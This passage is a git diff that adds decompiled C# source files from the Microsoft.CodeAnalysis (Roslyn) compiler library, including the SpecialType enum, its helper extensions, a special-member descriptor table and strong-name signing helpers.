System_IntPtr__op_Explicit_ToInt32, + System_IntPtr__op_Explicit_ToInt64, + System_IntPtr__op_Explicit_FromPointer, + System_IntPtr__op_Explicit_FromInt32, + System_IntPtr__op_Explicit_FromInt64, + System_UIntPtr__op_Explicit_ToPointer, + System_UIntPtr__op_Explicit_ToUInt32, + System_UIntPtr__op_Explicit_ToUInt64, + System_UIntPtr__op_Explicit_FromPointer, + System_UIntPtr__op_Explicit_FromUInt32, + System_UIntPtr__op_Explicit_FromUInt64, + System_Nullable_T_GetValueOrDefault, + System_Nullable_T_get_Value, + System_Nullable_T_get_HasValue, + System_Nullable_T__ctor, + System_Nullable_T__op_Implicit_FromT, + System_Nullable_T__op_Explicit_ToT, + System_Runtime_CompilerServices_RuntimeFeature__DefaultImplementationsOfInterfaces, + System_Runtime_CompilerServices_RuntimeFeature__UnmanagedSignatureCallingConvention, + System_Runtime_CompilerServices_RuntimeFeature__CovariantReturnsOfClasses, + System_Runtime_CompilerServices_RuntimeFeature__VirtualStaticsInInterfaces, + System_Runtime_CompilerServices_RuntimeFeature__NumericIntPtr, + System_Runtime_CompilerServices_RuntimeFeature__ByRefFields, + System_Runtime_CompilerServices_PreserveBaseOverridesAttribute__ctor, + System_Runtime_CompilerServices_InlineArrayAttribute__ctor, + Count +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SpecialMembers.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SpecialMembers.cs new file mode 100644 index 0000000..dd2b697 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SpecialMembers.cs @@ -0,0 +1,146 @@ +using System.Collections.Immutable; +using System.IO; +using Microsoft.CodeAnalysis.RuntimeMembers; + +namespace Microsoft.CodeAnalysis; + +internal static class SpecialMembers +{ + private static readonly ImmutableArray s_descriptors; + + static SpecialMembers() + { + byte[] buffer = new byte[1066] + { + 4, 20, 0, 1, 64, 6, 29, 64, 8, 33, + 20, 0, 2, 64, 20, 64, 20, 64, 20, 33, + 20, 0, 3, 64, 20, 64, 20, 64, 20, 64, + 20, 33, 20, 0, 4, 64, 20, 64, 20, 64, + 20, 64, 20, 64, 20, 33, 20, 0, 1, 64, + 20, 29, 64, 20, 33, 20, 0, 1, 64, 20, + 64, 1, 33, 20, 0, 2, 64, 20, 64, 1, + 64, 1, 33, 20, 0, 3, 64, 20, 64, 1, + 64, 1, 64, 1, 33, 20, 0, 1, 64, 20, + 29, 64, 1, 33, 20, 0, 2, 64, 7, 64, + 20, 64, 20, 33, 20, 0, 2, 64, 7, 64, + 20, 64, 20, 8, 20, 0, 0, 64, 13, 8, + 20, 0, 1, 64, 8, 64, 13, 33, 20, 0, + 2, 64, 20, 64, 20, 29, 64, 1, 1, 20, + 0, 2, 64, 20, 64, 13, 64, 13, 33, 19, + 0, 1, 64, 7, 64, 19, 33, 18, 0, 1, + 64, 7, 64, 18, 33, 4, 0, 2, 64, 4, + 64, 4, 64, 4, 33, 4, 0, 2, 64, 4, + 64, 4, 64, 4, 33, 4, 0, 2, 64, 7, + 64, 4, 64, 4, 33, 4, 0, 2, 64, 7, + 64, 4, 64, 4, 34, 17, 0, 64, 17, 34, + 17, 0, 64, 17, 34, 17, 0, 64, 17, 4, + 17, 0, 1, 64, 6, 64, 13, 4, 17, 0, + 1, 64, 6, 64, 14, 4, 17, 0, 1, 64, + 6, 64, 15, 4, 17, 0, 1, 64, 6, 64, + 16, 4, 17, 0, 1, 64, 6, 64, 18, 4, + 17, 0, 1, 64, 6, 64, 19, 4, 17, 0, + 5, 64, 6, 64, 13, 64, 13, 64, 13, 64, + 7, 64, 10, 33, 17, 0, 2, 64, 17, 64, + 17, 64, 17, 33, 17, 0, 2, 64, 17, 64, + 17, 64, 17, 33, 17, 0, 2, 64, 17, 64, + 17, 64, 17, 33, 17, 0, 2, 64, 17, 64, + 17, 64, 17, 33, 17, 0, 2, 64, 17, 64, + 17, 64, 17, 33, 17, 0, 1, 64, 17, 64, + 17, 33, 17, 0, 1, 64, 17, 64, 17, 33, + 17, 0, 1, 64, 17, 64, 17, 33, 17, 0, + 1, 64, 17, 64, 17, 33, 17, 0, 2, 64, + 17, 64, 17, 64, 17, 33, 17, 0, 2, 64, + 17, 64, 17, 64, 17, 33, 17, 0, 2, 64, + 17, 64, 17, 64, 17, 33, 17, 0, 2, 64, + 17, 64, 17, 64, 17, 33, 17, 0, 2, 64, + 17, 64, 17, 64, 17, 33, 17, 0, 2, 64, + 17, 64, 17, 64, 17, 33, 17, 0, 2, 64, + 13, 64, 17, 64, 17, 33, 17, 0, 2, 64, + 7, 64, 17, 64, 17, 33, 17, 0, 2, 64, + 7, 64, 17, 64, 17, 33, 17, 0, 2, 64, + 7, 64, 17, 64, 17, 33, 17, 0, 2, 64, + 7, 64, 17, 64, 17, 33, 17, 0, 2, 64, + 7, 64, 17, 64, 17, 33, 17, 0, 2, 64, + 7, 64, 17, 64, 17, 33, 17, 0, 1, 64, + 17, 64, 10, 33, 17, 0, 1, 64, 17, 64, + 8, 33, 17, 0, 1, 64, 17, 64, 11, 33, + 17, 0, 1, 64, 17, 64, 13, 33, 17, 0, + 1, 64, 17, 64, 15, 33, 17, 0, 1, 64, + 17, 64, 9, 33, 17, 0, 1, 64, 17, 64, + 12, 33, 17, 0, 1, 64, 17, 64, 14, 33, + 17, 0, 1, 64, 17, 64, 16, 33, 17, 0, + 1, 64, 10, 64, 17, 33, 17, 0, 1, 64, + 12, 64, 17, 33, 17, 0, 1, 64, 9, 64, + 17, 33, 17, 0, 1, 64, 11, 64, 17, 33, + 17, 0, 1, 64, 18, 64, 17, 33, 17, 0, + 1, 64, 19, 64, 17, 33, 17, 0, 1, 64, + 8, 64, 17, 33, 17, 0, 1, 64, 16, 64, + 17, 33, 17, 0, 1, 64, 13, 64, 17, 33, + 17, 0, 1, 64, 14, 64, 17, 33, 17, 0, + 1, 64, 15, 64, 17, 33, 17, 0, 1, 64, + 17, 64, 19, 33, 17, 0, 1, 64, 17, 64, + 18, 34, 33, 0, 64, 33, 4, 33, 0, 1, + 64, 6, 64, 15, 33, 33, 0, 2, 64, 13, + 64, 33, 64, 33, 33, 33, 0, 2, 64, 7, + 64, 33, 64, 33, 33, 33, 0, 2, 64, 7, + 64, 33, 64, 33, 33, 33, 0, 2, 64, 7, + 64, 33, 64, 33, 33, 33, 0, 2, 64, 7, + 64, 33, 64, 33, 33, 33, 0, 2, 64, 7, + 64, 33, 64, 33, 33, 33, 0, 2, 64, 7, + 64, 33, 64, 33, 65, 24, 0, 0, 64, 28, + 80, 28, 0, 0, 64, 1, 72, 28, 0, 0, + 64, 1, 65, 28, 0, 0, 64, 7, 65, 28, + 0, 0, 64, 6, 65, 25, 0, 0, 21, 64, + 29, 1, 19, 0, 80, 29, 0, 0, 19, 0, + 72, 29, 0, 0, 19, 0, 65, 35, 0, 0, + 64, 6, 16, 23, 0, 0, 64, 13, 16, 23, + 0, 0, 64, 15, 1, 23, 0, 1, 64, 13, + 64, 13, 1, 23, 0, 1, 64, 13, 64, 13, + 65, 1, 0, 0, 64, 13, 65, 1, 0, 1, + 64, 7, 64, 1, 33, 1, 0, 2, 64, 7, + 64, 1, 64, 1, 65, 1, 0, 0, 64, 20, + 33, 1, 0, 2, 64, 7, 64, 1, 64, 1, + 33, 21, 0, 1, 15, 64, 6, 64, 21, 33, + 21, 0, 1, 64, 13, 64, 21, 33, 21, 0, + 1, 64, 15, 64, 21, 33, 21, 0, 1, 64, + 21, 15, 64, 6, 33, 21, 0, 1, 64, 21, + 64, 13, 33, 21, 0, 1, 64, 21, 64, 15, + 33, 22, 0, 1, 15, 64, 6, 64, 22, 33, + 22, 0, 1, 64, 14, 64, 22, 33, 22, 0, + 1, 64, 16, 64, 22, 33, 22, 0, 1, 64, + 22, 15, 64, 6, 33, 22, 0, 1, 64, 22, + 64, 14, 33, 22, 0, 1, 64, 22, 64, 16, + 1, 32, 0, 0, 19, 0, 8, 32, 0, 0, + 19, 0, 8, 32, 0, 0, 64, 7, 4, 32, + 0, 1, 64, 6, 19, 0, 33, 32, 0, 1, + 64, 32, 19, 0, 33, 32, 0, 1, 19, 0, + 64, 32, 34, 44, 0, 64, 20, 34, 44, 0, + 64, 20, 34, 44, 0, 64, 20, 34, 44, 0, + 64, 20, 34, 44, 0, 64, 20, 34, 44, 0, + 64, 20, 4, 45, 0, 0, 64, 6, 4, 46, + 0, 1, 64, 6, 64, 13 + }; + string[] nameTable = new string[128] + { + ".ctor", "Concat", "Concat", "Concat", "Concat", "Concat", "Concat", "Concat", "Concat", "op_Equality", + "op_Inequality", "get_Length", "get_Chars", "Format", "Substring", "IsNaN", "IsNaN", "Combine", "Remove", "op_Equality", + "op_Inequality", "Zero", "MinusOne", "One", ".ctor", ".ctor", ".ctor", ".ctor", ".ctor", ".ctor", + ".ctor", "op_Addition", "op_Subtraction", "op_Multiply", "op_Division", "op_Modulus", "op_UnaryNegation", "op_Increment", "op_Decrement", "Negate", + "Remainder", "Add", "Subtract", "Multiply", "Divide", "Remainder", "Compare", "op_Equality", "op_Inequality", "op_GreaterThan", + "op_GreaterThanOrEqual", "op_LessThan", "op_LessThanOrEqual", "op_Implicit", "op_Implicit", "op_Implicit", "op_Implicit", "op_Implicit", "op_Implicit", "op_Implicit", + "op_Implicit", "op_Implicit", "op_Explicit", "op_Explicit", "op_Explicit", "op_Explicit", "op_Explicit", "op_Explicit", "op_Explicit", "op_Explicit", + "op_Explicit", "op_Explicit", "op_Explicit", "op_Explicit", "op_Explicit", "MinValue", ".ctor", "Compare", "op_Equality", "op_Inequality", + "op_GreaterThan", "op_GreaterThanOrEqual", "op_LessThan", "op_LessThanOrEqual", "GetEnumerator", "Current", "get_Current", "MoveNext", "Reset", "GetEnumerator", + "Current", "get_Current", "Dispose", "Length", "LongLength", "GetLowerBound", "GetUpperBound", "GetHashCode", "Equals", "Equals", + "ToString", "ReferenceEquals", "op_Explicit", "op_Explicit", "op_Explicit", "op_Explicit", "op_Explicit", "op_Explicit", "op_Explicit", "op_Explicit", + "op_Explicit", "op_Explicit", "op_Explicit", "op_Explicit", "GetValueOrDefault", "get_Value", "get_HasValue", ".ctor", "op_Implicit", "op_Explicit", + "DefaultImplementationsOfInterfaces", "UnmanagedSignatureCallingConvention", "CovariantReturnsOfClasses", "VirtualStaticsInInterfaces", "NumericIntPtr", "ByRefFields", ".ctor", ".ctor" + }; + s_descriptors = MemberDescriptor.InitializeFromStream(new MemoryStream(buffer, writable: false), nameTable); + } + + public static MemberDescriptor GetDescriptor(SpecialMember member) + { + return s_descriptors[(int)member]; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SpecialType.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SpecialType.cs new file mode 100644 index 0000000..381d046 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SpecialType.cs @@ -0,0 +1,53 @@ +namespace Microsoft.CodeAnalysis; + +public enum SpecialType : sbyte +{ + None = 0, + System_Object = 1, + System_Enum = 2, + System_MulticastDelegate = 3, + System_Delegate = 4, + System_ValueType = 5, + System_Void = 6, + System_Boolean = 7, + System_Char = 8, + System_SByte = 9, + System_Byte = 10, + System_Int16 = 11, + System_UInt16 = 12, + System_Int32 = 13, + System_UInt32 = 14, + System_Int64 = 15, + System_UInt64 = 16, + System_Decimal = 17, + System_Single = 18, + System_Double = 19, + System_String = 20, + System_IntPtr = 21, + System_UIntPtr = 22, + System_Array = 23, + System_Collections_IEnumerable = 24, + System_Collections_Generic_IEnumerable_T = 25, + System_Collections_Generic_IList_T = 26, + System_Collections_Generic_ICollection_T = 27, + System_Collections_IEnumerator = 28, + System_Collections_Generic_IEnumerator_T = 29, + System_Collections_Generic_IReadOnlyList_T = 30, + System_Collections_Generic_IReadOnlyCollection_T = 31, + System_Nullable_T = 32, + System_DateTime = 33, + System_Runtime_CompilerServices_IsVolatile = 34, + System_IDisposable = 35, + System_TypedReference = 36, + System_ArgIterator = 37, + System_RuntimeArgumentHandle = 38, + System_RuntimeFieldHandle = 39, + System_RuntimeMethodHandle = 40, + System_RuntimeTypeHandle = 41, + System_IAsyncResult = 42, + System_AsyncCallback = 43, + System_Runtime_CompilerServices_RuntimeFeature = 44, + System_Runtime_CompilerServices_PreserveBaseOverridesAttribute = 45, + System_Runtime_CompilerServices_InlineArrayAttribute = 46, + Count = 46 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SpecialTypeExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SpecialTypeExtensions.cs new file mode 100644 index 0000000..3ec0ff9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SpecialTypeExtensions.cs @@ -0,0 +1,236 @@ +using System; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal static class SpecialTypeExtensions +{ + public static bool IsClrInteger(this SpecialType specialType) + { + if ((uint)(specialType - 7) <= 9u || (uint)(specialType - 21) <= 1u) + { + return true; + } + return false; + } + + public static bool IsBlittable(this SpecialType specialType) + { + if ((uint)(specialType - 7) <= 9u || (uint)(specialType - 18) <= 1u) + { + return true; + } + return false; + } + + public static bool IsValueType(this SpecialType specialType) + { + switch (specialType) + { + case SpecialType.System_Void: + case SpecialType.System_Boolean: + case SpecialType.System_Char: + case SpecialType.System_SByte: + case SpecialType.System_Byte: + case SpecialType.System_Int16: + case SpecialType.System_UInt16: + case SpecialType.System_Int32: + case SpecialType.System_UInt32: + case SpecialType.System_Int64: + case SpecialType.System_UInt64: + case SpecialType.System_Decimal: + case SpecialType.System_Single: + case SpecialType.System_Double: + case SpecialType.System_IntPtr: + case SpecialType.System_UIntPtr: + case SpecialType.System_Nullable_T: + case SpecialType.System_DateTime: + case SpecialType.System_TypedReference: + case SpecialType.System_ArgIterator: + case SpecialType.System_RuntimeArgumentHandle: + case SpecialType.System_RuntimeFieldHandle: + case SpecialType.System_RuntimeMethodHandle: + case SpecialType.System_RuntimeTypeHandle: + return true; + default: + return false; + } + } + + public static int SizeInBytes(this SpecialType specialType) + { + return specialType switch + { + SpecialType.System_SByte => 1, + SpecialType.System_Byte => 1, + SpecialType.System_Int16 => 2, + SpecialType.System_UInt16 => 2, + SpecialType.System_Int32 => 4, + SpecialType.System_UInt32 => 4, + SpecialType.System_Int64 => 8, + SpecialType.System_UInt64 => 8, + SpecialType.System_Char => 2, + SpecialType.System_Single => 4, + SpecialType.System_Double => 8, + SpecialType.System_Boolean => 1, + SpecialType.System_Decimal => 16, + _ => 0, + }; + } + + public static bool IsPrimitiveRecursiveStruct(this SpecialType specialType) + { + switch (specialType) + { + case SpecialType.System_Boolean: + case SpecialType.System_Char: + case SpecialType.System_SByte: + case SpecialType.System_Byte: + case SpecialType.System_Int16: + case SpecialType.System_UInt16: + case SpecialType.System_Int32: + case SpecialType.System_UInt32: + case SpecialType.System_Int64: + case SpecialType.System_UInt64: + case SpecialType.System_Single: + case SpecialType.System_Double: + case SpecialType.System_IntPtr: + case SpecialType.System_UIntPtr: + return true; + default: + return false; + } + } + + public static bool IsValidEnumUnderlyingType(this SpecialType specialType) + { + if ((uint)(specialType - 9) <= 7u) + { + return true; + } + return false; + } + + public static bool IsNumericType(this SpecialType specialType) + { + if ((uint)(specialType - 9) <= 10u) + { + return true; + } + return false; + } + + public static bool IsIntegralType(this SpecialType specialType) + { + if ((uint)(specialType - 9) <= 7u) + { + return true; + } + return false; + } + + public static bool IsUnsignedIntegralType(this SpecialType specialType) + { + switch (specialType) + { + case SpecialType.System_Byte: + case SpecialType.System_UInt16: + case SpecialType.System_UInt32: + case SpecialType.System_UInt64: + return true; + default: + return false; + } + } + + public static bool IsSignedIntegralType(this SpecialType specialType) + { + switch (specialType) + { + case SpecialType.System_SByte: + case SpecialType.System_Int16: + case SpecialType.System_Int32: + case SpecialType.System_Int64: + return true; + default: + return false; + } + } + + public static int VBForToShiftBits(this SpecialType specialType) + { + return specialType switch + { + SpecialType.System_SByte => 7, + SpecialType.System_Int16 => 15, + SpecialType.System_Int32 => 31, + SpecialType.System_Int64 => 63, + _ => throw ExceptionUtilities.UnexpectedValue(specialType), + }; + } + + public static SpecialType FromRuntimeTypeOfLiteralValue(object value) + { + if (value.GetType() == typeof(int)) + { + return SpecialType.System_Int32; + } + if (value.GetType() == typeof(string)) + { + return SpecialType.System_String; + } + if (value.GetType() == typeof(bool)) + { + return SpecialType.System_Boolean; + } + if (value.GetType() == typeof(char)) + { + return SpecialType.System_Char; + } + if (value.GetType() == typeof(long)) + { + return SpecialType.System_Int64; + } + if (value.GetType() == typeof(double)) + { + return SpecialType.System_Double; + } + if (value.GetType() == typeof(uint)) + { + return SpecialType.System_UInt32; + } + if (value.GetType() == typeof(ulong)) + { + return SpecialType.System_UInt64; + } + if (value.GetType() == typeof(float)) + { + return SpecialType.System_Single; + } + if (value.GetType() == typeof(decimal)) + { + return SpecialType.System_Decimal; + } + if (value.GetType() == typeof(short)) + { + return SpecialType.System_Int16; + } + if (value.GetType() == typeof(ushort)) + { + return SpecialType.System_UInt16; + } + if (value.GetType() == typeof(DateTime)) + { + return SpecialType.System_DateTime; + } + if (value.GetType() == typeof(byte)) + { + return SpecialType.System_Byte; + } + if (value.GetType() == typeof(sbyte)) + { + return SpecialType.System_SByte; + } + return SpecialType.None; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SpecialTypes.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SpecialTypes.cs new file mode 100644 index 0000000..eb48f85 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SpecialTypes.cs @@ -0,0 +1,99 @@ +using System.Collections.Generic; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis; + +internal static class SpecialTypes +{ + private static readonly string?[] s_emittedNames; + + private static readonly Dictionary s_nameToTypeIdMap; + + private static readonly PrimitiveTypeCode[] s_typeIdToTypeCodeMap; + + private static readonly SpecialType[] s_typeCodeToTypeIdMap; + + static SpecialTypes() + { + s_emittedNames = new string[47] + { + null, "System.Object", "System.Enum", "System.MulticastDelegate", "System.Delegate", "System.ValueType", "System.Void", "System.Boolean", "System.Char", "System.SByte", + "System.Byte", "System.Int16", "System.UInt16", "System.Int32", "System.UInt32", "System.Int64", "System.UInt64", "System.Decimal", "System.Single", "System.Double", + "System.String", "System.IntPtr", "System.UIntPtr", "System.Array", "System.Collections.IEnumerable", "System.Collections.Generic.IEnumerable`1", "System.Collections.Generic.IList`1", "System.Collections.Generic.ICollection`1", "System.Collections.IEnumerator", "System.Collections.Generic.IEnumerator`1", + "System.Collections.Generic.IReadOnlyList`1", "System.Collections.Generic.IReadOnlyCollection`1", "System.Nullable`1", "System.DateTime", "System.Runtime.CompilerServices.IsVolatile", "System.IDisposable", "System.TypedReference", "System.ArgIterator", "System.RuntimeArgumentHandle", "System.RuntimeFieldHandle", + "System.RuntimeMethodHandle", "System.RuntimeTypeHandle", "System.IAsyncResult", "System.AsyncCallback", "System.Runtime.CompilerServices.RuntimeFeature", "System.Runtime.CompilerServices.PreserveBaseOverridesAttribute", "System.Runtime.CompilerServices.InlineArrayAttribute" + }; + s_nameToTypeIdMap = new Dictionary(46); + for (int i = 1; i < s_emittedNames.Length; i++) + { + string key = s_emittedNames[i]; + s_nameToTypeIdMap.Add(key, (SpecialType)i); + } + s_typeIdToTypeCodeMap = new PrimitiveTypeCode[47]; + for (int i = 0; i < s_typeIdToTypeCodeMap.Length; i++) + { + s_typeIdToTypeCodeMap[i] = PrimitiveTypeCode.NotPrimitive; + } + s_typeIdToTypeCodeMap[7] = PrimitiveTypeCode.Boolean; + s_typeIdToTypeCodeMap[8] = PrimitiveTypeCode.Char; + s_typeIdToTypeCodeMap[6] = PrimitiveTypeCode.Void; + s_typeIdToTypeCodeMap[20] = PrimitiveTypeCode.String; + s_typeIdToTypeCodeMap[15] = PrimitiveTypeCode.Int64; + s_typeIdToTypeCodeMap[13] = PrimitiveTypeCode.Int32; + s_typeIdToTypeCodeMap[11] = PrimitiveTypeCode.Int16; + s_typeIdToTypeCodeMap[9] = PrimitiveTypeCode.Int8; + s_typeIdToTypeCodeMap[16] = PrimitiveTypeCode.UInt64; + s_typeIdToTypeCodeMap[14] = PrimitiveTypeCode.UInt32; + s_typeIdToTypeCodeMap[12] = PrimitiveTypeCode.UInt16; + s_typeIdToTypeCodeMap[10] = PrimitiveTypeCode.UInt8; + s_typeIdToTypeCodeMap[18] = PrimitiveTypeCode.Float32; + s_typeIdToTypeCodeMap[19] = PrimitiveTypeCode.Float64; + s_typeIdToTypeCodeMap[21] = PrimitiveTypeCode.IntPtr; + s_typeIdToTypeCodeMap[22] = PrimitiveTypeCode.UIntPtr; + s_typeCodeToTypeIdMap = new SpecialType[21]; + for (int i = 0; i < s_typeCodeToTypeIdMap.Length; i++) + { + s_typeCodeToTypeIdMap[i] = SpecialType.None; + } + s_typeCodeToTypeIdMap[0] = SpecialType.System_Boolean; + s_typeCodeToTypeIdMap[1] = SpecialType.System_Char; + s_typeCodeToTypeIdMap[17] = SpecialType.System_Void; + s_typeCodeToTypeIdMap[11] = SpecialType.System_String; + s_typeCodeToTypeIdMap[7] = SpecialType.System_Int64; + s_typeCodeToTypeIdMap[6] = SpecialType.System_Int32; + s_typeCodeToTypeIdMap[5] = SpecialType.System_Int16; + s_typeCodeToTypeIdMap[2] = SpecialType.System_SByte; + s_typeCodeToTypeIdMap[15] = SpecialType.System_UInt64; + s_typeCodeToTypeIdMap[14] = SpecialType.System_UInt32; + s_typeCodeToTypeIdMap[13] = SpecialType.System_UInt16; + s_typeCodeToTypeIdMap[12] = SpecialType.System_Byte; + s_typeCodeToTypeIdMap[3] = SpecialType.System_Single; + s_typeCodeToTypeIdMap[4] = SpecialType.System_Double; + s_typeCodeToTypeIdMap[8] = SpecialType.System_IntPtr; + s_typeCodeToTypeIdMap[16] = SpecialType.System_UIntPtr; + } + + public static string? GetMetadataName(this SpecialType id) + { + return s_emittedNames[(int)id]; + } + + public static SpecialType GetTypeFromMetadataName(string metadataName) + { + if (s_nameToTypeIdMap.TryGetValue(metadataName, out var value)) + { + return value; + } + return SpecialType.None; + } + + public static SpecialType GetTypeFromMetadataName(PrimitiveTypeCode typeCode) + { + return s_typeCodeToTypeIdMap[(int)typeCode]; + } + + public static PrimitiveTypeCode GetTypeCode(SpecialType typeId) + { + return s_typeIdToTypeCodeMap[(int)typeId]; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SpeculativeBindingOption.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SpeculativeBindingOption.cs new file mode 100644 index 0000000..31ccd2c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SpeculativeBindingOption.cs @@ -0,0 +1,7 @@ +namespace Microsoft.CodeAnalysis; + +public enum SpeculativeBindingOption +{ + BindAsExpression, + BindAsTypeOrNamespace +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/StackGuard.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/StackGuard.cs new file mode 100644 index 0000000..2ced26e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/StackGuard.cs @@ -0,0 +1,18 @@ +using System.Diagnostics; +using System.Runtime.CompilerServices; + +namespace Microsoft.CodeAnalysis; + +internal static class StackGuard +{ + public const int MaxUncheckedRecursionDepth = 20; + + [DebuggerStepThrough] + public static void EnsureSufficientExecutionStack(int recursionDepth) + { + if (recursionDepth > 20) + { + RuntimeHelpers.EnsureSufficientExecutionStack(); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/StateMachineState.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/StateMachineState.cs new file mode 100644 index 0000000..ce3c046 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/StateMachineState.cs @@ -0,0 +1,14 @@ +namespace Microsoft.CodeAnalysis; + +internal enum StateMachineState +{ + FirstResumableAsyncIteratorState = -4, + InitialAsyncIteratorState = -3, + FirstIteratorFinalizeState = -3, + FinishedState = -2, + NotStartedOrRunningState = -1, + FirstUnusedState = 0, + FirstResumableAsyncState = 0, + InitialIteratorState = 0, + FirstResumableIteratorState = 1 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/StateTableStore.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/StateTableStore.cs new file mode 100644 index 0000000..3e48ba7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/StateTableStore.cs @@ -0,0 +1,66 @@ +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using Microsoft.CodeAnalysis.Collections; + +namespace Microsoft.CodeAnalysis; + +internal sealed class StateTableStore +{ + public sealed class Builder + { + private readonly ImmutableSegmentedDictionary.Builder _tableBuilder = ImmutableSegmentedDictionary.CreateBuilder(); + + public bool Contains(object key) + { + return _tableBuilder.ContainsKey(key); + } + + public bool TryGetTable(object key, [NotNullWhen(true)] out IStateTable? table) + { + return _tableBuilder.TryGetValue(key, out table); + } + + public void SetTable(object key, IStateTable table) + { + _tableBuilder[key] = table; + } + + public StateTableStore ToImmutable() + { + object[] array = _tableBuilder.Keys.ToArray(); + foreach (object key in array) + { + _tableBuilder[key] = _tableBuilder[key].AsCached(); + } + return new StateTableStore(_tableBuilder.ToImmutable()); + } + } + + private readonly ImmutableSegmentedDictionary _tables; + + public static readonly StateTableStore Empty = new StateTableStore(ImmutableSegmentedDictionary.Empty); + + private StateTableStore(ImmutableSegmentedDictionary tables) + { + _tables = tables; + } + + public bool TryGetValue(object key, [NotNullWhen(true)] out IStateTable? table) + { + return _tables.TryGetValue(key, out table); + } + + public NodeStateTable GetStateTableOrEmpty(object input) + { + return GetStateTable(input) ?? NodeStateTable.Empty; + } + + public NodeStateTable? GetStateTable(object input) + { + if (TryGetValue(input, out IStateTable table)) + { + return (NodeStateTable)table; + } + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/StaticCast.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/StaticCast.cs new file mode 100644 index 0000000..74fcd84 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/StaticCast.cs @@ -0,0 +1,17 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal static class StaticCast +{ + internal static ImmutableArray From(ImmutableArray from) where TDerived : class, T + { + return ImmutableArray.CastUp(from); + } + + internal static OneOrMany From(OneOrMany from) where TDerived : class, T + { + return OneOrMany.CastUp(from); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/StrongNameFileSystem.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/StrongNameFileSystem.cs new file mode 100644 index 0000000..ac054cc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/StrongNameFileSystem.cs @@ -0,0 +1,35 @@ +using System.IO; + +namespace Microsoft.CodeAnalysis; + +internal class StrongNameFileSystem +{ + internal static readonly StrongNameFileSystem Instance = new StrongNameFileSystem(); + + internal readonly string? _signingTempPath; + + internal StrongNameFileSystem(string? signingTempPath = null) + { + _signingTempPath = signingTempPath; + } + + internal virtual FileStream CreateFileStream(string filePath, FileMode fileMode, FileAccess fileAccess, FileShare fileShare) + { + return new FileStream(filePath, fileMode, fileAccess, fileShare); + } + + internal virtual byte[] ReadAllBytes(string fullPath) + { + return File.ReadAllBytes(fullPath); + } + + internal virtual bool FileExists(string? fullPath) + { + return File.Exists(fullPath); + } + + internal string? GetSigningTempPath() + { + return _signingTempPath; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/StrongNameKeys.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/StrongNameKeys.cs new file mode 100644 index 0000000..2e06372 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/StrongNameKeys.cs @@ -0,0 +1,178 @@ +using System; +using System.Collections.Immutable; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Threading; + +namespace Microsoft.CodeAnalysis; + +internal sealed class StrongNameKeys +{ + internal readonly ImmutableArray KeyPair; + + internal readonly ImmutableArray PublicKey; + + internal readonly RSAParameters? PrivateKey; + + internal readonly Diagnostic? DiagnosticOpt; + + internal readonly string? KeyContainer; + + internal readonly string? KeyFilePath; + + internal readonly bool HasCounterSignature; + + internal static readonly StrongNameKeys None = new StrongNameKeys(); + + private static Tuple, ImmutableArray, RSAParameters?>? s_lastSeenKeyPair; + + internal bool CanSign + { + get + { + if (KeyPair.IsDefault) + { + return KeyContainer != null; + } + return true; + } + } + + internal bool CanProvideStrongName + { + get + { + if (!CanSign) + { + return !PublicKey.IsDefault; + } + return true; + } + } + + private StrongNameKeys() + { + } + + internal StrongNameKeys(Diagnostic diagnostic) + { + DiagnosticOpt = diagnostic; + } + + internal StrongNameKeys(ImmutableArray keyPair, ImmutableArray publicKey, RSAParameters? privateKey, string? keyContainerName, string? keyFilePath, bool hasCounterSignature) + { + KeyPair = keyPair; + 